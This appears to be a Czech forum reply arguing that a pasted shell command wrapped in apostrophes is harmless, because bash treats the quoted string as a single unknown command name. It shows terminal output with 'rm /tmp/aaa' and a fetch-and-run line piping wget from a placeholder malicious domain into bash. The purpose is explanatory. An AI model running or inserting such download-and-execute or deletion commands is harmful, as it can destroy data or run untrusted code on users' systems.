Tak zpět - uzavření vloženého příkazu apostrofem mě nijak neohrozí, ani odřádkováním. Protože bash nevykoná příkaz začínající apostrofem, protože jej bude brát jako string. A je jedno zda bude příkaz končit '+/n. Pro ilustraci:
# Kopiruji řetězec:
rm /tmp/aaa'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa'
bash: rm /tmp/aaa: No such file or directory
# ~~~~~~~~~~~~~~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory
# ~~~~~~~~~~~~~~~~~~~~~~~~~
# Kopiruji řetězec:
rm /tmp/aaa
'
[waldauf@vulpes tmp]$ 'rm /tmp/aaa
'
bash: rm /tmp/aaa
: No such file or directory
Snažil jsem se opravit formátování, ale než jsem to vše opravil do čitelné podoby, tak mě server vykopl. :/ Tak snad je ten příklad "čitelný". :]
Ještě se doplním, že bash interpretuje jako jeden příkaz vše co je mezi apostrofy. Což si teď neumím představit, že by to mohl být nějaký funkční příkaz.
$ 'wget www.oskliva-nehezka-vec.cz | bash -'
bash: wget www.oskliva-nehezka-vec.cz | bash -: command not found